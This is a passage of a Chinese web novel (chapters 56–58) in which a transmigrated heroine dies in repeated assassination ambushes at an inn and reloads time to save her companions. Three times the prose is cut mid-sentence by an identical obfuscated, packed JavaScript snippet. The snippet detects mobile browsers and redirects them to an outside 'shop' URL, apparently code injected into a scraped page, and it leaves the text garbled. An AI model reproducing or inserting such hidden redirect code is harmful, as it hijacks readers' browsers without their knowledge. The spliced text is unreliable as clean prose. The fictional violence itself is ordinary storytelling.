“不行了,”沈望舒道,“我决定了,择日不如撞日,今天晚上我就要跟他告白!” 55.第五十六章 今日沈望舒一行人在皖南的一座小镇落了脚,如今才刚过立春,春日的温度尚未有能力赶走冬日的料峭,越往北走气温又越低,到夜里时说话的口齿之间都能呼出来白气,着实令人冷的不太好受。 这个小镇三面环水,并算不得富庶,外来的过客也算不上许多,因而镇上的客栈总共也就两家,沈望舒的侍从将两家客栈都看过了,最后选了一家瞧上去更新、房间也更舒服的落脚了,总不能叫沈望舒这大小姐委屈了。 许是遇到了难得的旺季,这间客栈里的客人倒也不少,再加上沈望舒这浩浩荡荡的一队人马,竟然也将这里的房间住了个满当,沈望舒却没空去管这些事情,就连吃饭的时候都心不在焉,一桌子饭菜进了嘴也没尝出来味道,满脑子想的都是晚上要如何同陆晏时开口告白的事情。 沈妄姝看她这没出息的模样,忍不住就要说:“你不是说怕路上尴尬,要等到了京城之后再说吗?” 沈望舒吃完了晚饭,正躺在床上翻来覆去地纠结自己到底什么时候去找陆晏时,一纠结就纠结到了亥时,客栈里的人几乎都要入睡了,她也还没迈出那一步,听见沈望舒问她的话,便一本正经地答道:“我想了想,主动权在我手里,告白失败的话,尴尬的人应该是他不是我啊!” 她越说越觉得自己讲的有道理,拍着大腿道:“他要是不同意,我就把他从车上赶下去,让他自己进京去得了,反正他现在已经是个不愁钱的皇子了,不怕到不了京城。” 沈望舒说罢,一骨碌从床上爬了起来,拍了拍自己的脸,道:“好!不纠结了!现在就去!” 她当即弯腰穿鞋一气呵成,拉开自己的房门、雄赳赳气昂昂地往陆晏时的房间走去,沈妄姝看着连连叹气,骂道:“你还好意思说我是恋爱脑,你自己难道就不是了吗?!” “我才不是,”沈望舒哼哼道,“我这叫勇敢的人先享受世界。” 沈妄姝翻了个白眼,不再与她计较,又不想看见她们两个人一会儿情意绵绵、心意相通的模样,索性又打开了甄嬛传,把音量调大,好叫自己做一个鸵鸟,假装什么也看不见、听不见了。 沈望舒就这么踩着祺贵人在雨中大喊皇上的背景音,走向去找心上人告白的路。 客栈虽然还算新,但到底也只是干净且整洁的程度,与奢华、舒适两个词并沾不上什么关系,那楼梯叫人一踩,还会发出咯吱咯吱的声音,好似一个花甲老人的骨头,动一下便嘎嘎作响,那声音和着她脑子里祺贵人的哭喊声,有一种在深夜看鬼片的诡异感。 她也没空叫沈妄姝给她挑一首好听的BGM了:反正做全世界第一个听着甄嬛传告白的人也没什么不好,将来等老了回忆起来也不失为一件乐事。 陆晏时的房间在沈望舒的楼下,沈望舒“哒哒哒”地下了楼梯,一个一个地对着房号,顺利地到了陆晏时的房间门口。 她在心里默念了两遍自己要告白的话,这才长出了一口气,抬起手来敲了敲他的房门,道:“陆公子,你睡了吗。” 但回应她的是一片无声的沉默。 沈望舒不气馁,又抬手敲门:“陆公子,我有话要同你说,劳烦你开一开门。” 她既然已经鼓足勇气来了这里,那断然没有回头的道理,不论结局是好是坏,陆晏时同意或者不同意,她都要把心里的话全部都说了,好叫自己不要留下什么遗憾,更免得日后想起来时,后悔自己这时候为何不再勇敢一些。 所以她又契而不舍地敲了第三遍的门。 可门里的陆晏时依旧没有任何回应。 沈望舒觉得有些奇怪。 陆晏时平日里对她的关心与照顾众人有目共睹,没有她敲了这么久的门他都不来开的道理,难道他这会儿根本不在屋里?沈望舒又在门口站了一会儿,都站到安比槐因为贪污入狱、安陵容到养心殿门口跪着了,屋里的陆晏时仍旧没有什么反应。 沈望舒强撑起来的气势终于像个泄气的皮球一般软了下去,不论是陆晏时有没有在屋里、是不是故意不给她开门,她都没有自信再把心里的话再说出口了。 她心里头打了退堂鼓,脚下自然也像抹了油似的转身就想走,只想着下次再找机会说也不迟,只是没想到她才迈出去一步,突然听到陆晏时的屋里传来了一身闷哼。 那声音并不大,好似被闷在鼓里一般低沉,又与地板的吱呀声混作一起,若是不仔细分辨的话根本听不清楚,沈望舒却敏锐地觉察出那是陆晏时的声音,心下一沉,赶忙回过身去推陆晏时的房门。 他的房间门竟然没有上锁,沈望舒只这样用力一推,便“吱呀——”一声开了。 陆晏时的房间里漆黑一片,连支蜡烛都没有点,沈望舒推开房门时,有一点廊下昏暗的灯光洒进房里,在地面上投下一片扇形的光晕,几乎要被周围的黑暗吞没了。 他睡的房间是普通的客房,房间并算不得大,屋里只有一桌、一床与一个柜子,便再也没有其他的东西,沈望舒才一踏进房里,就立刻闻到了一股淡淡的铁锈味。 她再往前走一步,便瞧见床前倒着一个人形的黑影,除了陆晏时还能有谁?沈望舒心道不好,三步并作两步冲上前去,手才伸出去要把人扶起来,却在碰到陆晏时的瞬间,先摸到了一股子温热又黏腻的液体! 是血! “陆晏时!” 沈望舒大声喊他,陆晏时却双目紧闭,难耐地从牙缝里挤出一身闷哼,显然是已经失去了意识,沈望舒不过才扶了他一小会,手上、袖子上、腿上便全部占满了鲜红的血液,分明是已经失血过多晕死过去了。 她心里慌乱极了,见自己喊不醒陆晏时,赶紧站起身来,想冲去找柳半夏来给陆晏时救治,却不想她人才从地上站起来,陆晏时的房间门却“砰”!地一声重重地关上了。 “完了!”沈望舒心里头咯噔一下,人还尚未来得及做出任何反应,突然有一人从她背后钻了出来,重重地往她脑袋上打了一闷棍! 她当即眼前一黑,“扑通”一声摔倒在地昏死了过去,连半点反抗的机会都没有。 沈望舒这一昏,竟也不知昏了多久。 在迷迷糊糊之中,她似乎听见有人在不断地叫着她的名字。 “沈姑娘……沈姑娘……” 这是一个男人的声音。 “沈望舒!沈望舒!你醒醒!快起来!再不起来要死了!” 这是却又是一个女人的声音。 他二人的声音紧张又急切,在她的耳边交织在一起,让她半点不得安生。 沈望舒听着听着,终于觉得自己的意识回笼,脑子也莫名恢复了意识,却在下一秒时感受到了巨大的、刺骨的疼痛从自己的后脑勺传来,叫她忍不住便闷声哼了出来。 她下意识伸手去摸自己的脑袋,却摸到了一手湿热黏糊的血!接着她便听见陆晏时焦急又虚弱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321444|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音喊着:“沈姑娘!” 沈望舒扭过头去看他,发现陆晏时也是满头满脸的血,他身上有一部分的血似乎已经干了,变成了暗红色的血皮,干巴巴地黏在他的脸上,看上去好不狼狈。 “陆……”沈望舒张口正想喊他的名字,却有一口呛人的气味钻进她的鼻腔里,呛得她直想咳嗽,沈望舒这时才觉察出这房间里的温度高的似乎有些不正常,且方才这房间里还漆黑一片,她又如何能在黑暗中看清陆晏时脸上的血迹?! 根本就是屋里起火了! 她完全没空去深究为何陆晏时会突然遇害,也没时间去思考刚刚对他们下手的人究竟是谁,求生的本能让她顾不得脑袋上的疼痛,手脚并用地从地上爬了起来,又费尽全力地去搀起失血过多、浑身无力的陆晏时,硬生生地拖着他挪到了门口准备逃生。 却不她伸手去拉门时,发现那房门竟然纹丝不动,竟是叫人从外面给堵死了! 那两个人下手竟然如此歹毒又缜密,生怕他们两个人没有死透,还放了一把火妄图把他们二人活活烧死在这屋里! 沈望舒使出浑身力气去拽门,又拍着门大声呼救,却并无半人有回应,此时屋内火势蔓延开来,木质结构的屋子燃烧起来的速度极快,汹涌的火舌几乎快要蔓延到沈望舒的身上,滚滚的浓烟也呛得她几乎快要睁不开眼睛,眼泪不自觉地淌了满脸,连喘也快要喘不上气,憋都快要把她憋死了! 而在这一瞬间,她又想起陆晏时的屋里还有一扇窗,当即又费劲全身的力气,拽着已经快半昏迷的陆晏时冲到了窗前! 万幸,他们并没来得及把窗户也钉死,沈望舒心下狂喜,赶忙徒将窗户砸开,也顾不得自己指甲断裂、满手是血了,寒风霎时间涌进被大火吞灭的屋里,叫沈望舒终于喘上一口气来,她正回头要去拉陆晏时,却听得顶上“轰隆”!一声巨响,硕大的、被烧得通红的房梁终于不堪重负地轰然倒塌,直直往沈望舒的身上砸了过来! 我草。 沈望舒想。 她根本来不及逃,也无处可逃! 方才已经陷入半昏迷的陆晏时在这一瞬间突然暴起,用尽身上最后的力气冲到沈望舒身边,猛的将她一推,叫她整个人于瞬间飞出了窗外!而那根燃着大火的横梁则就这样重重地砸在了陆晏时的身上! “快……跑……” 这是沈望舒听到的,陆晏时最后说的一句话。 她后背着地,“咚”地一声摔倒在草地之上,霎时间她浑身的骨头都好似要粉碎一般疼痛起来,好在陆晏时的房间只在二楼,并不会对她造成什么致命的伤害,沈望舒却慌乱又害怕的不知所措,心脏也跳得快要爆炸了,她忍着剧痛从地上爬了起来,想到陆晏时的模样,眼泪几乎瞬间从眼眶奔涌而出,她听见前头有嘈杂的人声,正想冲过去大声呼救,想要喊人去救一救还在火场里的陆晏时,却不想背后突然一凉,胸口登时传来一阵撕心裂肺的剧痛。 在漫天红色的火光之中,沈望舒却看见一道寒光贯穿了自己的胸口,自她胸口淌出的殷红色血液霎时间浸透了她青色的衣裳。 沈望舒下意识低头往胸前去看。 剑是一把好剑,即便在红色火光的照耀下,它也依旧亮着骇人的寒意,也不知上头究竟浇灌过多少人的血。 她听见那剑客轻笑了一声。 “幸好我来看了一眼,”他说,“险些留了条漏网之鱼。” 56.第五十六章 “我草!” 这是沈望舒恢复意识的时候说的第一句话。 她一声喊叫,引得其他人纷纷回过头来看她,又有一人十分关切地开口问她:“沈姑娘,你没事吧?” 沈望舒闻声看去,竟看见陆晏时一脸关切地望着自己,沈望舒这才发现,自己此时正和陆晏时、柳半夏、梅停云与卑路斯四个人一起,坐在客栈的包厢里。 在她面前的是一张黄花木圆桌,桌上铺着张青色绣花软桌布,上头摆着六道还冒着热气的菜和一份汤,众人正围着圆桌而坐,手里还端着饭碗,显然是正在吃饭。 夕阳的最后一道余晖在窗台上落下一点可怜的光斑,屋内的炭火燃得正旺,陆晏时好端端地坐在自己的面前,没有受伤,没有流血,更没有被熊熊烈火所吞灭,一切都平静祥和的好似做梦一样,叫沈望舒在那瞬间都要恍惚起来,以为自己不过是做了一场可怕的噩梦,如今梦醒了,也就没事了。 可心脏被贯穿的痛楚似乎还残留在沈望舒的身上,让她只恍惚了一瞬便明白过来,她哪里是做梦了!?她根本就是死了回档了!而且是回档到了两个多时辰之前! 这一屋子的人除了她以外,没有任何人留有读档前的记忆。 她一边冲陆晏时摆手表示自己没事,一边在脑子里喊沈妄姝:“沈妄姝!!” 沈妄姝似乎也受了不小的惊吓,被沈望舒一喊才回过神来,嚎啕大哭道:“呜呜呜!吓死我了!!” 她哭得伤心又害怕,沈望舒却也没空安抚她,开口就问:“到底什么情况?” 自己为什么会死?又什么会回档到这里? 按理说如果她死了,一切的进度都应该作废,她需要全部重头再来才对啊! 沈妄姝哭哭啼啼地回道:“我也不知道,但是……但、但是,不光是你死了,陆晏时、柳半夏和梅停云也都被火烧死了!” 她这一句说得沈望舒眉头紧皱:“这怎么可能呢?” “陆晏时是气运之子,柳半夏是这一本书里的女主,梅停云则是重要的男二号,这整个世界都是可以说是围绕着他们几人而建,作为男女主的人怎么可能会死?”她低声呢喃道,“我死了还能解释,但不可能团灭的啊……” 她说着说着,忽然恍然大悟似的道:“是不是就是因为陆晏时和柳半夏死了,所以整个世界线混乱,我才能够在这里重新读档?就是为了避免他们死亡的结局?” 沈望舒越想越觉得自己有道理:“毕竟我是因为陆晏时被袭击才会死,那些杀手明显是冲着他来的。” 沈妄姝却是一问三不知,挂着眼泪连连道:“那该怎么办啊?” “你先把你系统叫出来问问,”沈望舒又想起她那个万恶起源的系统,“问问我的推测是不是对的。” 沈妄姝当即应了好,飞一样地去找她的系统问话,这时沈望舒才有空处理当下的状况——屋里的四个人皆端着碗呆呆地看着自己,面上都带着十分关切的表情,正在等她开口说话。 她这才想起刚刚意识回魂的时候,自己下意识大骂了一句国骂,之后便着急忙慌地去和沈妄姝复盘,并未来得及和他们解释自己为何突然大骂出声,他们会担心也是必然的。 “我没事,”沈望舒有些尴尬地笑了笑,“方才走了个身,想起小时候沈星遥抢我的糖吃,没忍住就骂了一声。” “吓到你们了,抱歉抱歉,”她也不能明说自己死了一回重新读档,只能打哈哈,安抚一下众人,“吃饭吧吃饭吧,没事的。” 陆晏时却依旧担心,不放心地问了句:“真的不打紧?” 他眉头微蹙,一双上挑的桃花眼里写满了担忧,沈望舒看着他的眼睛,又想起刚才他满身是血、拼了命要救自己的模样,不自觉地鼻子一酸,差点掉下眼泪来。 “没事没事,”沈望舒怕他觉察出异样,赶忙摇头道,“快吃饭吧,明日还要赶路呢。” 沈望舒这样说完,其他几人只好将信将疑地继续吃饭,待到一顿饭吃到尾声,沈妄姝才终于又回来了。 “我的系统说它也不知道,”沈妄姝垂头丧气,“这种情况也是第一次发生,它也没个头绪。” 沈望舒大概猜到她这个系统会回这样的话:“你这系统怎么比你还没用。” “就是啊!”沈妄姝也气呼呼,也不计较自己挨了沈望舒的骂,“没半点用的东西!除了会让我们干活以外,什么都不知道做!” 沈望舒想了想,又问她:“它知道是谁杀的我吗?” 她原本以为是害卑路斯的两个波斯人找上门来寻仇,可如今冷静下来一想,那杀她的剑客下手十分很辣又老道,绝对不是像那两个波斯人一样的半吊子,而且听那人的口音,又明显是中原人士。 那就只有一种可能了。 “这个它知道,”沈妄姝连连点头,“是太子的手下动的手!” “他们提前埋伏在此处,等着夜深人静时要杀陆晏时!” 沈望舒听着听着,却觉察出一些不对劲来:“不对啊,按照剧情来说,他这个时候还不知道自己有陆晏时这么个便宜弟弟呢。” “杀手不是应该在四月的时候才会被派出来吗?”沈望舒皱着眉头,“这杀手下手这么狠的吗?!” 沈妄姝自己也一头雾水,当然没办法解答她的问题,只犹犹豫豫地道:“有可能是……是你做的事情已经影响到了原本的剧情,所以太子提前知晓了陆晏时的存在……不论你怎么改变剧情,陆晏时的命里都注定要有此一劫?” “太子本来就是出了名的冷面皇子……他手下的人下手一向都是这样狠毒的。” “啥玩意,”沈望舒冷笑一声,“你们这的太子还会烤冷面呢。” 沈妄姝:“?” “不好意思,我忍不住讲冷笑话的这个嘴,”沈望舒轻咳了一声,“你继续说。” “都这种时候了!你还有心情开玩笑!”沈妄姝被她一句烤冷面太子打断了思绪,想了小半日才想起自己方才要说的话,“反正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13360991|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我那废物系统是指望不上了!” “但我觉得你说得有道理,你既然重生在这个节点,那么应该就是需要你去阻止陆晏时和柳半夏的死亡的。” 说罢沈妄姝也愁眉苦脸了起来,叹道:“你怎么这么倒霉啊……” “Damn!我怎么这么倒霉啊!”沈望舒也跟着哭丧起一张脸,“我能干嘛呀?我能对那些烤冷面杀手干什么呀!” 她简直想冲进自己的脑子里,把沈妄姝的系统拽出来暴打一顿:“不是,陆晏时的暗卫呢?这么没用的吗!” 沈妄姝又摇头了:“不知道呀……” 沈望舒长叹一口气,又想起方才胸口被贯穿的痛楚,那寒意似乎还残留在她的身体里似的,叫她不自觉地想要打冷颤。 从她穿越这本书里到现在,她已经死于非命两次了,两次都死于非命痛的撕心裂肺,让她每一次醒来时都十分后怕——她着实不想再死了。 但她又确实不知道到底应该如何在这些狠毒的杀手的手里救下陆晏时和柳半夏。 对方是训练有素的杀手,自己这边则是民间的侍卫,连陆晏时的暗卫都被解决了,她手里这些侍卫能干些什么? 沈望舒问她:“如果我再死一次会怎么样?” “这次是特殊情况,你才会复活在这个节点,”沈妄姝也忧心忡忡,“要是再死,可能真的就要全部重头再来了。” “妈的,”沈望舒低声骂了一句,“让我再想想办法吧。” 可到她们这一顿饭吃完时,沈望舒也没想出什么办法来。 她满肚子心事的起身往包厢外走,却因为没注意看路,迎面撞上个身穿藏蓝色粗布衣裳的男子,沈望舒回过神来,赶忙向人家道歉:“对不住,是我没看路。” 那男子并不以为意,淡淡应了句“不打紧”之后就走,连看也不多看沈望舒一眼,而沈望舒却在听见这人的声音之后,整个人呆呆地愣在原地,浑身如坠冰窟。 她死前听到的那一句“险些留了条漏网之鱼”的声音和这个男子的声音重叠在一起,如鬼魅一般环绕在她的耳边,对死亡的恐惧从她的心底翻涌而出,叫沈望舒连站在原地的力气都要没有,指尖也不自觉地发起了抖。 这个人……这个人分明就是刚刚捅了自己一剑的杀手! 沈望舒就这样毫无预兆地与杀了自己的凶手打了个照面,她根本控制不住自己的恐惧,下意识地想要逃跑,陆晏时觉察到她的异常,凑过神来、低下头问:“沈姑娘?你怎么了?” 他轻飘飘的、温温柔柔的一句话,轻而易举地将沈望舒将绝望与恐惧的深渊中拉了出来,沈望舒一抬眼,瞧见陆晏时担忧的表情,不由自主地又想起他为了救自己被压死在房梁之下的画面,心下一横,暗自道:“我一定要救他。” 她抬起手,轻轻地拽住陆晏时的袖子,踮起脚来在他的耳边轻声说道:“再过半个时辰,你一个人偷偷的来我的房间里。” “千万要悄悄的,别叫任何人看见。” 57.第五十七章 夜幕才刚刚笼罩在这座小镇的上空,银色的月牙挂在空中,露出些凄凉又萧瑟的颜色,陆晏时眼见着时间差不多,便轻手轻脚地离开了自己的房间,按着沈望舒的吩咐,趁着廊下无人时,轻轻地走上了去沈望舒房间的楼梯。 方才沈望舒说话时吐出的气息似乎还萦绕在他的耳边,叫陆晏时的耳尖的热度至今都不肯消退,直到他推开沈望舒的房间门、看见柳半夏与梅停云都坐在那里头时,陆晏时心头的旖旎好似被泼了一盆冷水,霎时间全都消退了。 他心里头自然也清楚沈望舒的话里并不可能会有别的意思,可面对心上人的邀约,陆晏时又怎么可能心无旁骛地不做他想?哪怕只是单独与沈望舒相处一会,说上几句话,他也已经十分满足了。 沈望舒看见陆晏时来了,赶忙去招呼他进屋,又急吼吼地关上门,生怕自己的话叫别人听了:“我刚刚已经让车夫和侍卫准备好了,就在门口等着。” 她压低了声音,好似在说什么不得了的秘密:“一会儿我们就出发,离开此地。” 众人皆对她突然的决定十分不解,更不明白为何都已经快休息了她却突然急匆匆地要走,梅停云先问:“可是出了什么事?” 沈望舒看着他们面上茫然的表情,想到他们对之前的死亡一无所知,又想到接下来要面对的杀戮,心里莫名有些难过。 可她又不能直言自己已经知道了未来要发生的事情,不能说已经知道要发生的暗杀,当下是敌人在明我在暗,她只好三十六计走为上,先跑了再说:她只知道敌人手段狠毒,却不知道对方究竟一共有多少人,可若是能从这个被埋伏的店里跑出去,即便对方追上来了,自己这边的侍卫和陆晏时身边的暗卫加起来多少还能够有一战之力,总归比现在被人瓮中捉鳖的状况要好。 她想对方既然选在夜深人静时才对陆晏时下手,那显然就是不想要把事情闹大,若非沈望舒横插一脚,大概也不会再有后头的灭顶之灾,因而她打算趁着外头还有人时,先溜了再说。 沈望舒一肚子的心事却不能泄漏半点,面对朋友们的疑问,她只能张口瞎扯道:“这客栈我住得实在不舒服!” “饭也难吃,房间也小,连床都睡着浑身不舒服,方才不过才躺了躺,就有虫子在咬我!”好在她有一个无理取闹、蛮横娇气的大小姐人设在外,如今这样发起脾气来,倒也还算合情合理,“我宁愿在马车上凑合睡一夜,也坚决不住在这里!” 梅停云第一次见她犯这胡搅蛮缠的大小姐脾气,面上的表情多少有些不解,还要劝慰道:“大小姐,天色已经晚了。” 他虽然不解,却也没有什么不耐烦,半开玩笑半哄似的道:“大伙也都累了,哪有都已经住下了再连夜赶路的道理?您就凑合住一个晚上,或者你跟谁换个房间,明儿天一亮咱们就走,成不成?” “马车颠簸,再怎么说也不如客栈睡起来舒服呀。” 其实梅停云说得话十分符合常理,沈望舒也知道他们会不愿意是再正常不过的事情,她心里着急,正想要开口再说些什么,却听陆晏时说了句:“沈姑娘说要走,那就走吧。” 他不在乎什么常理不常理,他只晓得沈望舒想走,那么他又有什么拒绝的理由?因而他只说:“我回屋里去拿上行李就来。” 柳半夏也点头道:“我也去拿些东西就下楼。” 她虽然比不得陆晏时对沈望舒近乎盲目的痴迷,却也十分信任沈望舒,认为沈姑娘要做什么事情一定都有她的道理,因而并不愿意轻易反驳她的决定,梅停云势单力薄,无奈也只能同意,三人结伴回房间拿包袱去了。 至于卑路斯这个挂件的意见更是断然不会有人在意,侍卫一抬就走了,没人会管他愿意不愿意。 好在他们行李本就不多,大部分的东西还都留在马车上,拿上来的本来也就只有身衣裳和书,收拾起来也十分快,不到一刻钟三人就都拿好了东西,齐齐去找沈望舒了。 梅停云看着陆晏时面无表情的脸,还不忘难调侃他一句:“唉,果真是英雄难过美关。” 陆晏时想也不想便应了句:“是。” “你小子还挺自豪。” 沈望舒已经站在门口等他们,看见他们几人来了,是一秒钟都不肯耽搁,赶忙带着人往楼下走去。 她步履匆匆,脚在踩在楼梯上发出踢里哐啷的声响,仿佛身后有鬼在追,陆晏时他们此时终于觉察出她的不对劲来,却碍于她如今这模样而来不及发问,只等着上了车再细细问她了。 可沈望舒才下了楼,心里就开始暗叫不好。 安静,实在是太过安静了。 天色不过才刚刚暗下去不久,楼下竟然连个人影都不见,客栈的大门紧闭着,大厅里莫说是食客,就是客栈的掌柜与伙计都不见了踪影! 更别提方才沈望舒安排好在楼下接应她的三个侍卫了! 沈望舒心下一慌,赶忙往外头走去,却不想一推开客栈的门,竟看见门外有十来个人躺在血泊之中! 他们流出来的血几乎将这小小的院子浸满,扑面而来的浓厚血腥味叫人闻着直想呕吐,也不知他们到底死了多久。 这些人全都是她的侍卫!甚至还有客栈的掌柜与小二! 沈望舒大惊失色,跟在她后头的柳半夏更是惊叫出声,陆晏时率先反应过来,一个箭步冲上前来,想要关上客栈的大门,却听得梅停云突然喊道:“快出去!” 只见从后厨的门房之中,竟冲出来四个手持长刀的蒙面黑衣人,二话不说就朝他们四人砍来,陆晏时当即拽起两个愣在原地的姑娘跨出门外,梅停云紧随其后,反手将门拉上,再以背相抵,整个人靠在门上堵着拖延时间,大喊道:“上马!快!” 他看见院中还有两三匹马停着,当机立断要两个姑娘先跑,也顾不上自己还有没有命逃生,陆晏时将她们二人往马前一推,从地上捡起两把剑来就要回梅停云身旁,却不想人还未来得及转身,就又看见从客栈后院又涌出来五六个持剑的黑衣蒙面人,直勾勾地向沈望舒而去,陆晏时心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369734|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下大惊,赶忙回过头去将沈望舒向后一拽,以手里的长剑挡住了刺向沈望舒的那一剑! 沈望舒万万想不到对方竟然有这样多的人,更想不到他们竟然就这样明目张胆地下了杀手,根本不在乎人多还是人少! “怎么会这样!”她大喊,也不知是喊给沈妄姝听,还是喊给自己听的,“怎么会有这么多人!?” 沈妄姝显然也慌了,她六神无主,除了大叫“快跑”之外竟也不知道要说些什么。 陆晏时一边与他们缠斗一边对沈望舒她们大喊:“上马!” 沈望舒并不肯抛下他们独自逃生,可她到底是个手无缚鸡之力的大小姐,哪怕从前打工攒下一身力气,在生死攸关、面对训练有素的杀手时,也没半点用处都没有,陆晏时肩上中了一剑,咬着牙将沈望舒往马前一推,大喝道:“还不快走!” 沈望舒一咬牙一狠心,手忙脚乱地爬上马背,双腿一夹,那本就已经受惊吓、有些狂躁的马便长啸一声,似箭般冲了出去。 似刀一样的寒风刮在沈望舒的脸上,风中裹挟着令人作呕的血腥味,沈望舒这辈子都没见过这样多的尸体,她却顾不上恐惧与恶心,一边策马狂奔一边回过头去看身后的情形,却并未看到柳半夏跟着她出来。 沈望舒心道完蛋,再往客栈的院子里望去,就看见陆晏时身中数剑倒下的场景——他到底只是一介书生,又如何能够抵挡得住这样的围攻?能护送沈望舒出逃就已经十分不易了! 而梅停云也抵挡不住前后夹击,身中数刀倒下,柳半夏更是没了半点踪影,但现下这情况不用想也知道她必定凶多吉少,多半也已经丧命了! 不过短短几分钟,他们这一行人就又几乎团灭了! 沈望舒再也控制不住,汹涌的泪水自眼眶中奔涌而出,被泠冽风吹散在脸上,瞧着无比的狼狈。 她看见那些蒙面人杀了陆晏时之后,又转过身想冲自己追过来,好似张着血盆大口的鬼魅,看得沈望舒的心怦怦直跳,她突然灵光一闪,想起什么似的对急的嚎啕大哭地沈望舒道:“读档……我要读档!” 沈望舒要赌一把。 陆晏时和柳半夏已经死了,她现在若是自杀,大概率能像刚才一样重新回档到半个多时辰之前! 哪怕是自己猜错了、赌错了,当前的进度全部作废、她要重头再来她也认了! 她要救他们,她一定要救他们! 沈望舒正想要调转马头冲回那群黑衣人中去送死,却忽然听得一阵破空之声,紧接着便是“噗”!地一声,从空中飞来的一支弩箭直直贯穿了她的胸口! 沈望舒瞬间从马背上头跌落下来,整个人在冰冷坚硬的地上滚了三滚,胸口的弩箭随着她的动作不断拉锯着她的心脏,她浑身的骨头都好似碎裂一般疼痛,鲜血从她的口中、胸前似潮水一般涌出,眼前所有的景色都被蒙上了一层浓重的血色,竟是她连眼框里都渗出两道血泪来。 可沈望舒却什么都顾不上了。 她又要死了。 58.第五十八章 沈望舒睁开眼时,又看见了让她熟悉的场景。 暖黄色的夕阳余晖洒在窗台上,靠窗的矮柜上放着一个插着腊梅的细颈花瓶,在眼前的是黄花木的圆桌、青色绣花软布,桌上摆着六道热气腾腾的饭菜与一道汤,她的朋友们正围坐在桌前,有说有笑地吃着晚饭。 没有浓郁的血腥味,没有满地的尸体,也没有可怖的杀手,有的只是温馨又平淡的日常,平淡地叫沈望舒简直想哭。 她赌对了! 果然是因为陆晏时和柳半夏的死亡,导致原世界线崩溃,所以她才能够避免清空当前记录、全部重头再来的悲剧,两次都重生在这个时间点上,就是因为这个世界不允许男女主角的死亡,要她一次又一次地来拯救他们! 用不着这个破世界提醒,她也一定要救他们。 沈望舒不知道为何那些杀手突然改变策略,更没想到对方埋伏在此的人数居然有近十人之多,如今她们逃逃不掉,留又留不得,又与死局何异? 她脑子里的沈妄姝被吓坏了,一直在呜呜地哭。 沈妄姝自己本就是个养尊处优又怕死的大小姐,如今段时间内瞧见这样多的死人,又瞧见自己的心上人与沈望舒一遍又一遍地被杀,她又如何能不害怕不心疼?偏偏她又是个傻的,除了干着急之外也想不出任何办法来,只会一遍又一遍地念道:“怎么办,怎么办……” 沈望舒没有回话,却突然将手里的碗往桌上一扔,道:“不吃了!” 那白瓷的碗被她摔得“咚”一声响,木制的筷子啪啦啦地掉到地上,众人被她的动静吓到,皆侧过头来看她。 “都别吃了,”沈望舒皱着眉道,“你们现在全都到楼下大厅去等我。” 她连解释都不愿意多解释,生怕多说几句话就耽误了时间,蛮横地指挥他们所有人到楼下去,梅停云和上一世一样,满脸不解地要问她为什么,怎么好好的突然要走?只是他一句话还没来得及问出口,身旁坐着的陆晏时、柳半夏和卑路斯就先后放下碗、站起身来准备下楼,好似被沈望舒训练过的狗一般听话,梅停云见状也只得悻悻放下手里的碗筷,和大家一起去做一条听沈姑娘吩咐的狗,半句怨言也不敢再有了。 沈望舒又喊了一声陆晏时:“陆公子,你陪我到楼上取个东西再走。” 陆晏时求之不得。 他死了两次的记忆已经被全部清空,并不知道沈望舒这异常的行为究竟所谓几何,只是陆晏时秉承着“沈望舒要做的事情即便没有道理也是一种道理”的人生信念,十分愿意陪着沈望舒做一切无理取闹的事情。 沈望舒步履匆匆地走在前头,也不知在急些什么,陆晏时跟在她身后上了楼,又走进她的客房里,眼睁睁地看着她紧张兮兮地关上了门。 陡然与心上人共处一室,陆晏时的心里还未来得及生出些旖旎的心思,就瞧见沈望舒突然将床榻上的褥子全都抖落开来,又去撕扯挂在上头的床帏,怎么看怎么不对劲,陆晏时这才开口问她:“沈姑娘要做什么?” 沈望舒正在往桌椅上头倒灯油,听见陆晏时的询问,头也不抬地回道:“老娘看这客栈不顺眼,准备一把火给烧了!” 她既然自己搞不定这件事,那就想办法找外援来! 陆晏时却心里一惊,赶忙走上前来拽住她倒灯油的手,皱着眉头,用难得严肃的语气与她说道:“沈姑娘,纵火是重罪。” 即便他再如何盲目地认定沈望舒做事自有她的道理、再怎么痴迷于这个姑娘,都没有看着她去犯罪的道理,当然要上手制止她。 此时屋内并未点灯,只剩窗外一点夕阳懒懒地洒进一点光在窗上,沈望舒借着这一点昏暗的光,抬起头去看陆晏时的脸。 他眉头紧锁,眼里担心有之,疑问有之,偏偏就是没有对自己的责怪,仿佛只要沈望舒放下手里的东西,他就能够当这件事没发生过一样,沈望舒看着看着,不自觉地想起陆晏时前两次死之前看向自己时,脸上也是这样担忧的眼神。 